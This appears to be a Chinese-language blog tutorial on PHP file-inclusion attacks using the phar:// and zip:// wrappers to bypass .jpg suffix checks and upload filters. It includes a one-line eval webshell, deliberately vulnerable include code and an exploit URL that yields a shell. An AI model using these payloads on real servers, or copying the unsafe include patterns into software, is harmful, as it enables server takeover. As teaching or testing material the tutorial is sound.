phar及zip文件包含

phar与zip协议的文件包含

phar文件包含

phar协议要求:php大于5.3.0

需要将php.ini的参数phar.readonly设置为off

这个方法适用于验证包含文件为特定后缀时。

使用Phar://伪协议流可以Bypass一些上传的waf,大多数情况下和文件包含一起使用,就类似于我们的压缩包(其实就是一个压缩包),只不过我们换了一种方式去执行而已

本地测试:

test.php

1
<?php @eval($_POST["cmd"]);?>

然后将test.php压缩,将压缩文件改后缀为.jpg
index.php

1
2
3
<?php 
include('phar://./test.jpg/test.php');
?>

成功包含

QQ截图20201206145217.png

zip协议包含文件

zip协议要求:php版本要求大于等于5.3.0

这个方法适用于验证包含文件为特定后缀时。 例如以下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>

或者
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>

上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。

zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

2355213942

然后我们构造zip://php.zip#php.jpg

1
http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

819654707

这样就成功shell了。

参考https://xz.aliyun.com/t/3692

https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html

https://lightless.me/archives/include-file-from-zip-or-phar.html

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~